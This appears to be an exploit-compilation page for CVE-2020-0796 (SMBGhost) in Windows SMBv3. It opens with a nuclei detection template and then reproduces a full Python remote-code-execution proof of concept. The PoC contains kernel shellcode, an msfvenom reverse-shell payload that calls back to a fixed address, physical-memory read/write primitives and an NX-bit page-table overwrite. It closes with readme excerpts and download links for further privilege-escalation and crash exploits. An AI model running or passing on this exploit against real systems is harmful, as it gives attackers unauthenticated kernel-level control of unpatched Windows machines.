CVE-2020-0796

nuclei -id CVE-2020-0796 -u https://your-target

Template yaml

id: CVE-2020-0796

info:
  name: Microsoft SMBv3 - Remote Code Execution
  author: Yusuf Amr
  severity: critical
  description: |
    A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.
  impact: |
    Unauthenticated attackers can exploit SMBv3 protocol handling vulnerabilities to execute arbitrary code on Windows 10 and Windows Server systems, enabling complete system compromise.
  remediation: |
    Apply Microsoft security updates that patch the SMBv3 protocol vulnerability in Windows 10 version 1903 and later as documented in Microsoft security advisory CVE-2020-0796.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0796
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
    - https://github.com/tdevworks/CVE-2020-0796-SMBGhost-Exploit-Demo
    - http://packetstormsecurity.com/files/156731/CoronaBlue-SMBGhost-Microsoft-Windows-10-SMB-3.1.1-Proof-Of-Concept.html
    - http://packetstormsecurity.com/files/156980/Microsoft-Windows-10-SMB-3.1.1-Local-Privilege-Escalation.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2020-0796
    cwe-id: CWE-119
    epss-score: 0.9981
    epss-percentile: 0.99957
    cpe: cpe:2.3:o:microsoft:windows_10_1903:-:*:*:*:*:*:arm64:*
  metadata:
    vendor: microsoft
    product: windows_10_1903
    shodan-query: cpe:"cpe:2.3:o:microsoft:windows_10_1903"
    verified: true
  tags: cve,cve2020,microsoft,smb,kev,vkev,vuln

tcp:
  - host:
      - "{{Hostname}}"

    port: 445

    inputs:
      - data: "{{hex_decode(\"000000c2fe534d4240000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024000800000000007f0000000102abcd0102abcd0102abcd0102abcd7800000002000000020210022202240200030203100311030000000001002600000000000100200001000000000000000000000000000000000000000000000000000000000000000000000003000a0000000000010000000100000001000000000000000000\")}}"

        read: 8192

      - data: "{{hex_decode(\"000000a0fc534d42ffffffff0100000080000000fe534d424000000000000000010000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000001900000200000000000000005800280000000000000000004e544c4d5353500001000000329088e2000000002800000000000000280000000601b11d0000000f00000000000000000000000000000000\")}}"

    matchers-condition: and
    matchers:
      - type: binary
        part: data
        encoding: hex
        binary:
          - "fc534d4248000000"
          - "0d0000c0"
          - "1000602d00"
        condition: or

      - type: binary
        part: data
        encoding: hex
        binary:
          - "00000031fc534d424800000001000000000000001eb000fe534d4240000000c00d0000c00100011000602d00100103301e28090442"
# digest: 4a0a0047304502210099ef812630ae9ed21dda86eda170ac28795689d904ee11702969cabf1cf9207602201ff29a72bf8ad2555f599f8dd5346b51041042c4ecaea2aa3ebaaa3cbf504781:922c64590222798bb761d5b6d8e72950

python3 48537.py

Code py

#!/usr/bin/env python
'''
# EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48537.zip

# SMBGhost_RCE_PoC

RCE PoC for CVE-2020-0796 "SMBGhost"

For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other than self education is an extremely bad idea. Your computer will burst in flames. Puppies will die.

Now that that's out of the way....

Usage ex:

```
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
```

Replace payload in USER_PAYLOAD in exploit.py. Max of 600 bytes. If you want more, modify the kernel shell code yourself.

lznt1 code from [here](https://github.com/you0708/lznt1). Modified to add a "bad compression" function to corrupt SRVNET buffer
header without causing a crash.

See this excellent write up by Ricera Security for more details on the methods I used:
https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
'''

import sys
import socket
import struct
import argparse

from lznt1 import compress, compress_evil
from smb_win import smb_negotiate, smb_compress

# Use lowstub jmp bytes to signature search
LOWSTUB_JMP = 0x1000600E9
# Offset of PML4 pointer in lowstub
PML4_LOWSTUB_OFFSET = 0xA0
# Offset of lowstub virtual address in lowstub
SELFVA_LOWSTUB_OFFSET = 0x78
# Offset of NTOSKRNL entry address in lowstub
NTENTRY_LOWSTUB_OFFSET = 0x278

# Offset of hal!HalpApicRequestInterrupt pointer in hal!HalpInterruptController
HALP_APIC_REQ_INTERRUPT_OFFSET = 0x78

KUSER_SHARED_DATA = 0xFFFFF78000000000

# Offset of pNetRawBuffer in SRVNET_BUFFER_HDR
PNET_RAW_BUFF_OFFSET = 0x18
# Offset of pMDL1 in SRVNET_BUFFER_HDR
PMDL1_OFFSET = 0x38

# Shellcode from kernel_shellcode.asm

KERNEL_SHELLCODE = b"\x41\x50\x41\x51\x41\x55\x41\x57\x41\x56\x51\x52\x53\x56\x57\x4C"
KERNEL_SHELLCODE += b"\x8D\x35\xA0\x02\x00\x00\x49\x8B\x86\xD0\x00\x00\x00\x49\x8B\x9E"
KERNEL_SHELLCODE += b"\xD8\x00\x00\x00\x48\x89\x18\xFB\x49\x8B\x86\xE0\x00\x00\x00\x48"
KERNEL_SHELLCODE += b"\x2D\x00\x10\x00\x00\x66\x81\x38\x4D\x5A\x75\xF3\x49\x89\xC7\x4D"
KERNEL_SHELLCODE += b"\x89\xBE\xE0\x00\x00\x00\xBF\x78\x7C\xF4\xDB\xE8\xDA\x00\x00\x00"
KERNEL_SHELLCODE += b"\x49\x89\xC5\xBF\x3F\x5F\x64\x77\xE8\x2E\x01\x00\x00\x48\x89\xC1"
KERNEL_SHELLCODE += b"\xBF\xE1\x14\x01\x17\xE8\x21\x01\x00\x00\x48\x89\xC2\x48\x83\xC2"
KERNEL_SHELLCODE += b"\x08\x49\x8D\x74\x0D\x00\xE8\xFF\x00\x00\x00\x3D\xD8\x83\xE0\x3E"
KERNEL_SHELLCODE += b"\x74\x0A\x4D\x8B\x6C\x15\x00\x49\x29\xD5\xEB\xE5\xBF\x48\xB8\x18"
KERNEL_SHELLCODE += b"\xB8\x4C\x89\xE9\xE8\x91\x00\x00\x00\x49\x89\x06\x4D\x8B\x4D\x30"
KERNEL_SHELLCODE += b"\x4D\x8B\x45\x38\x49\x81\xE8\xF8\x02\x00\x00\x48\x31\xF6\x49\x81"
KERNEL_SHELLCODE += b"\xE9\xF8\x02\x00\x00\x41\x8B\x79\x74\x0F\xBA\xE7\x04\x73\x05\x4C"
KERNEL_SHELLCODE += b"\x89\xCE\xEB\x0C\x4D\x39\xC8\x4D\x8B\x89\xF8\x02\x00\x00\x75\xDE"
KERNEL_SHELLCODE += b"\x48\x85\xF6\x74\x40\x49\x8D\x4E\x08\x48\x89\xF2\x4D\x31\xC0\x4C"
KERNEL_SHELLCODE += b"\x8D\x0D\xB9\x00\x00\x00\x52\x41\x50\x41\x50\x41\x50\xBF\xC4\x5C"
KERNEL_SHELLCODE += b"\x19\x6D\x48\x83\xEC\x20\xE8\x2F\x00\x00\x00\x48\x83\xC4\x40\x49"
KERNEL_SHELLCODE += b"\x8D\x4E\x08\xBF\x34\x46\xCC\xAF\x48\x83\xEC\x20\xE8\x19\x00\x00"
KERNEL_SHELLCODE += b"\x00\x48\x83\xC4\x20\xFA\x48\x89\xD8\x5F\x5E\x5B\x5A\x59\x41\x5E"
KERNEL_SHELLCODE += b"\x41\x5F\x41\x5D\x41\x59\x41\x58\xFF\xE0\xE8\x02\x00\x00\x00\xFF"
KERNEL_SHELLCODE += b"\xE0\x53\x51\x56\x41\x8B\x47\x3C\x4C\x01\xF8\x8B\x80\x88\x00\x00"
KERNEL_SHELLCODE += b"\x00\x4C\x01\xF8\x50\x8B\x48\x18\x8B\x58\x20\x4C\x01\xFB\xFF\xC9"
KERNEL_SHELLCODE += b"\x8B\x34\x8B\x4C\x01\xFE\xE8\x1F\x00\x00\x00\x39\xF8\x75\xEF\x58"
KERNEL_SHELLCODE += b"\x8B\x58\x24\x4C\x01\xFB\x66\x8B\x0C\x4B\x8B\x58\x1C\x4C\x01\xFB"
KERNEL_SHELLCODE += b"\x8B\x04\x8B\x4C\x01\xF8\x5E\x59\x5B\xC3\x52\x31\xC0\x99\xAC\xC1"
KERNEL_SHELLCODE += b"\xCA\x0D\x01\xC2\x85\xC0\x75\xF6\x92\x5A\xC3\xE8\xA1\xFF\xFF\xFF"
KERNEL_SHELLCODE += b"\x80\x78\x02\x80\x77\x05\x0F\xB6\x40\x03\xC3\x8B\x40\x03\xC3\x41"
KERNEL_SHELLCODE += b"\x57\x41\x56\x57\x56\x48\x8B\x05\x0A\x01\x00\x00\x48\x8B\x48\x18"
KERNEL_SHELLCODE += b"\x48\x8B\x49\x20\x48\x8B\x09\x66\x83\x79\x48\x18\x75\xF6\x48\x8B"
KERNEL_SHELLCODE += b"\x41\x50\x81\x78\x0C\x33\x00\x32\x00\x75\xE9\x4C\x8B\x79\x20\xBF"
KERNEL_SHELLCODE += b"\x5E\x51\x5E\x83\xE8\x58\xFF\xFF\xFF\x49\x89\xC6\x4C\x8B\x3D\xB3"
KERNEL_SHELLCODE += b"\x01\x00\x00\x31\xC0\x44\x0F\x22\xC0\x48\x8D\x15\x8E\x01\x00\x00"
KERNEL_SHELLCODE += b"\x89\xC1\x48\xF7\xD1\x49\x89\xC0\xB0\x40\x50\xC1\xE0\x06\x50\x49"
KERNEL_SHELLCODE += b"\x89\x01\x48\x83\xEC\x20\xBF\xEA\x99\x6E\x57\xE8\x1A\xFF\xFF\xFF"
KERNEL_SHELLCODE += b"\x48\x83\xC4\x30\x48\x8B\x3D\x63\x01\x00\x00\x48\x8D\x35\x77\x00"
KERNEL_SHELLCODE += b"\x00\x00\xB9\x1D\x00\x00\x00\xF3\xA4\x48\x8D\x35\x6E\x01\x00\x00"
KERNEL_SHELLCODE += b"\xB9\x58\x02\x00\x00\xF3\xA4\x48\x8D\x0D\xD8\x00\x00\x00\x65\x48"
KERNEL_SHELLCODE += b"\x8B\x14\x25\x88\x01\x00\x00\x4D\x31\xC0\x4C\x8D\x0D\x46\x00\x00"
KERNEL_SHELLCODE += b"\x00\x41\x50\x6A\x01\x48\x8B\x05\x22\x01\x00\x00\x50\x41\x50\x48"
KERNEL_SHELLCODE += b"\x83\xEC\x20\xBF\xC4\x5C\x19\x6D\xE8\xBD\xFE\xFF\xFF\x48\x83\xC4"
KERNEL_SHELLCODE += b"\x40\x48\x8D\x0D\x9E\x00\x00\x00\x4C\x89\xF2\x4D\x31\xC9\xBF\x34"
KERNEL_SHELLCODE += b"\x46\xCC\xAF\x48\x83\xEC\x20\xE8\x9E\xFE\xFF\xFF\x48\x83\xC4\x20"
KERNEL_SHELLCODE += b"\x5E\x5F\x41\x5E\x41\x5F\xC3\x90\xC3\x48\x92\x31\xC9\x51\x51\x49"
KERNEL_SHELLCODE += b"\x89\xC9\x4C\x8D\x05\x0D\x00\x00\x00\x89\xCA\x48\x83\xEC\x20\xFF"
KERNEL_SHELLCODE += b"\xD0\x48\x83\xC4\x30\xC3\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00\x00"
KERNEL_SHELLCODE += b"\x00\x00\x00\x00\x00\x00"

# Reverse shell generated by msfvenom. Can you believe I had to download Kali Linux for this shit?

USER_PAYLOAD =  b""
USER_PAYLOAD += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
USER_PAYLOAD += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
USER_PAYLOAD += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
USER_PAYLOAD += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
USER_PAYLOAD += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
USER_PAYLOAD += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
USER_PAYLOAD += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
USER_PAYLOAD += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
USER_PAYLOAD += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
USER_PAYLOAD += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
USER_PAYLOAD += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
USER_PAYLOAD += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
USER_PAYLOAD += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
USER_PAYLOAD += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
USER_PAYLOAD += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
USER_PAYLOAD += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32"
USER_PAYLOAD += b"\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec"
USER_PAYLOAD += b"\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x7a\x69"
USER_PAYLOAD += b"\xc0\xa8\x8e\x01\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41"
USER_PAYLOAD += b"\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01"
USER_PAYLOAD += b"\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50"
USER_PAYLOAD += b"\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48"
USER_PAYLOAD += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
USER_PAYLOAD += b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9"
USER_PAYLOAD += b"\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02"
USER_PAYLOAD += b"\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41"
USER_PAYLOAD += b"\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a"
USER_PAYLOAD += b"\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
USER_PAYLOAD += b"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50"
USER_PAYLOAD += b"\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
USER_PAYLOAD += b"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86"
USER_PAYLOAD += b"\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08"
USER_PAYLOAD += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6"
USER_PAYLOAD += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a"
USER_PAYLOAD += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59"
USER_PAYLOAD += b"\x41\x89\xda\xff\xd5"


PML4_SELFREF = 0
PHAL_HEAP = 0
PHALP_INTERRUPT = 0
PHALP_APIC_INTERRUPT = 0
PNT_ENTRY = 0

max_read_retry = 3
overflow_val = 0x1100
write_unit = 0xd0
pmdl_va = KUSER_SHARED_DATA + 0x900
pmdl_mapva = KUSER_SHARED_DATA + 0x800
pshellcodeva = KUSER_SHARED_DATA + 0xa00


class MDL:
    def __init__(self, map_va, phys_addr):
        self.next = struct.pack("<Q", 0x0)
        self.size = struct.pack("<H", 0x40)
        self.mdl_flags = struct.pack("<H", 0x5004)
        self.alloc_processor = struct.pack("<H", 0x0)
        self.reserved = struct.pack("<H", 0x0)
        self.process = struct.pack("<Q", 0x0)
        self.map_va = struct.pack("<Q", map_va)
        map_va &= ~0xFFF
        self.start_va = struct.pack("<Q", map_va)
        self.byte_count = struct.pack("<L", 0x1100)
        self.byte_offset = struct.pack("<L", (phys_addr & 0xFFF) + 0x4)
        phys_addr_enc = (phys_addr & 0xFFFFFFFFFFFFF000) >> 12
        self.phys_addr1 = struct.pack("<Q", phys_addr_enc)
        self.phys_addr2 = struct.pack("<Q", phys_addr_enc)
        self.phys_addr3 = struct.pack("<Q", phys_addr_enc)

    def raw_bytes(self):
        mdl_bytes = self.next + self.size + self.mdl_flags + \
                    self.alloc_processor + self.reserved + self.process + \
                    self.map_va + self.start_va + self.byte_count + \
                    self.byte_offset + self.phys_addr1 + self.phys_addr2 + \
                    self.phys_addr3
        return mdl_bytes


def reconnect(ip, port):
    sock = socket.socket(socket.AF_INET)
    sock.settimeout(7)
    sock.connect((ip, port))
    return sock


def write_primitive(ip, port, data, addr):
    sock = reconnect(ip, port)
    smb_negotiate(sock)
    sock.recv(1000)
    uncompressed_data = b"\x41"*(overflow_val - len(data))
    uncompressed_data += b"\x00"*PNET_RAW_BUFF_OFFSET
    uncompressed_data += struct.pack('<Q', addr)
    compressed_data = compress(uncompressed_data)
    smb_compress(sock, compressed_data, 0xFFFFFFFF, data)
    sock.close()


def write_srvnet_buffer_hdr(ip, port, data, offset):
    sock = reconnect(ip, port)
    smb_negotiate(sock)
    sock.recv(1000)
    compressed_data = compress_evil(data)
    dummy_data = b"\x33"*(overflow_val + offset)
    smb_compress(sock, compressed_data, 0xFFFFEFFF, dummy_data)
    sock.close()


def read_physmem_primitive(ip, port, phys_addr):
    i = 0
    while i < max_read_retry:
        i += 1
        buff = try_read_physmem_primitive(ip, port, phys_addr)
        if buff is not None:
            return buff


def try_read_physmem_primitive(ip, port, phys_addr):
    fake_mdl = MDL(pmdl_mapva, phys_addr).raw_bytes()
    write_primitive(ip, port, fake_mdl, pmdl_va)
    write_srvnet_buffer_hdr(ip, port, struct.pack('<Q', pmdl_va), PMDL1_OFFSET)

    i = 0
    while i < max_read_retry:
        i += 1
        sock = reconnect(ip, port)
        smb_negotiate(sock)
        buff = sock.recv(1000)
        sock.close()
        if buff[4:8] != b"\xfeSMB":
            return buff


def get_phys_addr(ip, port, va_addr):
    pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
    pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))
    pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))
    pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))

    pml4e = PML4 + pml4_index*0x8
    pdpt_buff = read_physmem_primitive(ip, port, pml4e)

    if pdpt_buff is None:
        sys.exit("[-] physical read primitive failed")

    pdpt = struct.unpack("<Q", pdpt_buff[0:8])[0] & 0xFFFFF000
    pdpte = pdpt + pdpt_index*0x8
    pdt_buff = read_physmem_primitive(ip, port, pdpte)

    if pdt_buff is None:
        sys.exit("[-] physical read primitive failed")

    pdt = struct.unpack("<Q", pdt_buff[0:8])[0] & 0xFFFFF000
    pdte = pdt + pdt_index*0x8
    pt_buff = read_physmem_primitive(ip, port, pdte)

    if pt_buff is None:
        sys.exit("[-] physical read primitive failed")

    pt = struct.unpack("<Q", pt_buff[0:8])[0]

    if pt & (1 << (8 - 1)):
        phys_addr = (pt & 0xFFFFF000) + (pt_index & 0xFFF)*0x1000 + (va_addr & 0xFFF)
        return phys_addr
    else:
        pt = pt & 0xFFFFF000

    pte = pt + pt_index*0x8
    pte_buff = read_physmem_primitive(ip, port, pte)

    if pte_buff is None:
        sys.exit("[-] physical read primitive failed")

    phys_addr = (struct.unpack("<Q", pte_buff[0:8])[0] & 0xFFFFF000) + \
                (va_addr & 0xFFF)

    return phys_addr


def get_pte_va(addr):
    pt = addr >> 9
    lb = (0xFFFF << 48) | (PML4_SELFREF << 39)
    ub = ((0xFFFF << 48) | (PML4_SELFREF << 39) +
          0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8
    pt = pt | lb
    pt = pt & ub

    return pt


def overwrite_pte(ip, port, addr):
    phys_addr = get_phys_addr(ip, port, addr)

    buff = read_physmem_primitive(ip, port, phys_addr)

    if buff is None:
        sys.exit("[-] read primitive failed!")

    pte_val = struct.unpack("<Q", buff[0:8])[0]

    # Clear NX bit
    overwrite_val = pte_val & (((1 << 63) - 1))
    overwrite_buff = struct.pack("<Q", overwrite_val)

    write_primitive(ip, port, overwrite_buff, addr)


def build_shellcode():
    global KERNEL_SHELLCODE
    KERNEL_SHELLCODE += struct.pack("<Q", PHALP_INTERRUPT +
                                    HALP_APIC_REQ_INTERRUPT_OFFSET)
    KERNEL_SHELLCODE += struct.pack("<Q", PHALP_APIC_INTERRUPT)
    KERNEL_SHELLCODE += struct.pack("<Q", PNT_ENTRY & 0xFFFFFFFFFFFFF000)
    KERNEL_SHELLCODE += USER_PAYLOAD


def search_hal_heap(ip, port):
    global PHALP_INTERRUPT
    global PHALP_APIC_INTERRUPT
    search_len = 0x10000

    index = PHAL_HEAP
    page_index = PHAL_HEAP
    cons = 0
    phys_addr = 0

    while index < PHAL_HEAP + search_len:

        # It seems that pages in the HAL heap are not necessarily contiguous in physical memory,
        # so we try to reduce number of reads like this

        if not (index & 0xFFF):
            phys_addr = get_phys_addr(ip, port, index)
        else:
            phys_addr = (phys_addr & 0xFFFFFFFFFFFFF000) + (index & 0xFFF)

        buff = read_physmem_primitive(ip, port, phys_addr)

        if buff is None:
            sys.exit("[-] physical read primitive failed!")

        entry_indices = 8*(((len(buff) + 8 // 2) // 8) - 1)
        i = 0

        # This heuristic seems to be OK to find HalpInterruptController, but could use improvement
        while i < entry_indices:
            entry = struct.unpack("<Q", buff[i:i+8])[0]
            i += 8
            if (entry & 0xFFFFFF0000000000) != 0xFFFFF80000000000:
                cons = 0
                continue
            cons += 1
            if cons > 3:
                PHALP_INTERRUPT = index + i - 0x40
                print("[+] found HalpInterruptController at %lx"
                      % PHALP_INTERRUPT)

                if len(buff) < i + 0x40:
                    buff = read_physmem_primitive(ip, port, index + i + 0x38)
                    PHALP_APIC_INTERRUPT = struct.unpack("<Q", buff[0:8])[0]

                    if buff is None:
                        sys.exit("[-] physical read primitive failed!")
                else:
                    PHALP_APIC_INTERRUPT = struct.unpack("<Q",buff[i + 0x38:i+0x40])[0]

                print("[+] found HalpApicRequestInterrupt at %lx" % PHALP_APIC_INTERRUPT)

                return
        index += entry_indices

    sys.exit("[-] failed to find HalpInterruptController!")


def search_selfref(ip, port):
    search_len = 0x1000
    index = PML4

    while search_len:
        buff = read_physmem_primitive(ip, port, index)
        if buff is None:
            return
        entry_indices = 8*(((len(buff) + 8 // 2) // 8) - 1)
        i = 0
        while i < entry_indices:
            entry = struct.unpack("<Q",buff[i:i+8])[0] & 0xFFFFF000
            if entry == PML4:
                return index + i
            i += 8
        search_len -= entry_indices
        index += entry_indices


def find_pml4_selfref(ip, port):
    global PML4_SELFREF
    self_ref = search_selfref(ip, port)

    if self_ref is None:
        sys.exit("[-] failed to find PML4 self reference entry!")

    PML4_SELFREF = (self_ref & 0xFFF) >> 3

    print("[+] found PML4 self-ref entry %0x" % PML4_SELFREF)


def find_low_stub(ip, port):
    global PML4
    global PHAL_HEAP
    global PNT_ENTRY

    limit = 0x100000
    index = 0x1000

    while index < limit:
        buff = read_physmem_primitive(ip, port, index)

        if buff is None:
            sys.exit("[-] physical read primitive failed!")

        entry = struct.unpack("<Q", buff[0:8])[0] & 0xFFFFFFFFFFFF00FF

        if entry == LOWSTUB_JMP:
            print("[+] found low stub at phys addr %lx!" % index)
            PML4 = struct.unpack("<Q", buff[PML4_LOWSTUB_OFFSET: PML4_LOWSTUB_OFFSET + 8])[0]
            print("[+] PML4 at %lx" % PML4)
            PHAL_HEAP = struct.unpack("<Q", buff[SELFVA_LOWSTUB_OFFSET:SELFVA_LOWSTUB_OFFSET + 8])[0] & 0xFFFFFFFFF0000000
            print("[+] base of HAL heap at %lx" % PHAL_HEAP)

            buff = read_physmem_primitive(ip, port, index + NTENTRY_LOWSTUB_OFFSET)

            if buff is None:
                sys.exit("[-] physical read primitive failed!")

            PNT_ENTRY = struct.unpack("<Q", buff[0:8])[0]
            print("[+] ntoskrnl entry at %lx" % PNT_ENTRY)
            return

        index += 0x1000

    sys.exit("[-] Failed to find low stub in physical memory!")


def do_rce(ip, port):
    find_low_stub(ip, port)
    find_pml4_selfref(ip, port)
    search_hal_heap(ip, port)

    build_shellcode()

    print("[+] built shellcode!")

    pKernelUserSharedPTE = get_pte_va(KUSER_SHARED_DATA)
    print("[+] KUSER_SHARED_DATA PTE at %lx" % pKernelUserSharedPTE)

    overwrite_pte(ip, port, pKernelUserSharedPTE)
    print("[+] KUSER_SHARED_DATA PTE NX bit cleared!")

    # TODO: figure out why we can't write the entire shellcode data at once. There is a check before srv2!Srv2DecompressData preventing the call of the function.
    to_write = len(KERNEL_SHELLCODE)
    write_bytes = 0
    while write_bytes < to_write:
        write_sz = min([write_unit, to_write - write_bytes])
        write_primitive(ip, port, KERNEL_SHELLCODE[write_bytes:write_bytes + write_sz], pshellcodeva + write_bytes)
        write_bytes += write_sz

    print("[+] Wrote shellcode at %lx!" % pshellcodeva)

    input("[+] Press a key to execute shellcode!")

    write_primitive(ip, port, struct.pack("<Q", pshellcodeva), PHALP_INTERRUPT + HALP_APIC_REQ_INTERRUPT_OFFSET)
    print("[+] overwrote HalpInterruptController pointer, should have execution shortly...")




if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-ip", help="IP address of target", required=True)
    parser.add_argument("-p", "--port", default=445, help="SMB port, \
                        default: 445", required=False, type=int)
    args = parser.parse_args()

    do_rce(args.ip, args.port)

Code txt

# CVE-2020-0796

Windows SMBv3 LPE Exploit

![exploit](https://user-images.githubusercontent.com/1675387/77913732-110d4f80-7295-11ea-9af6-f17201c66673.gif)

## Authors

  * Daniel García Gutiérrez ([@danigargu](https://twitter.com/danigargu))
  * Manuel Blanco Parajón ([@dialluvioso_](https://twitter.com/dialluvioso_))

## References

* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
* https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
* https://www.fortinet.com/blog/threat-research/cve-2020-0796-memory-corruption-vulnerability-in-windows-10-smb-server.html#.Xndfn0lv150.twitter
* https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/
* http://blogs.360.cn/post/CVE-2020-0796.html
* https://blog.zecops.com/vulnerabilities/vulnerability-reproduction-cve-2020-0796-poc/


Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48267.zip

Code md

# CVE-2020-0796 PoC aka CoronaBlue aka SMBGhost

Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48216.zip

## Usage

`./CVE-2020-0796.py servername`

This script connects to the target host, and compresses the authentication request with a bad offset field set in the transformation header, causing the decompressor to buffer overflow and crash the target.

This contains a modification of the excellent [smbprotocol](https://github.com/jborean93/smbprotocol) with added support for SMB 3.1.1 compression/decompression (only LZNT1). Most of the additions are in `smbprotocol/connection.py`. A version of [lznt1](https://github.com/you0708/lznt1) is included, modified to support Python 3.

The compression transform header is in the `SMB2CompressionTransformHeader` class there. The function `_compress` is called to compress tree requests. This is where the offset field is set all high to trigger the crash.

```python
    def _compress(self, b_data, session):
        header = SMB2CompressionTransformHeader()
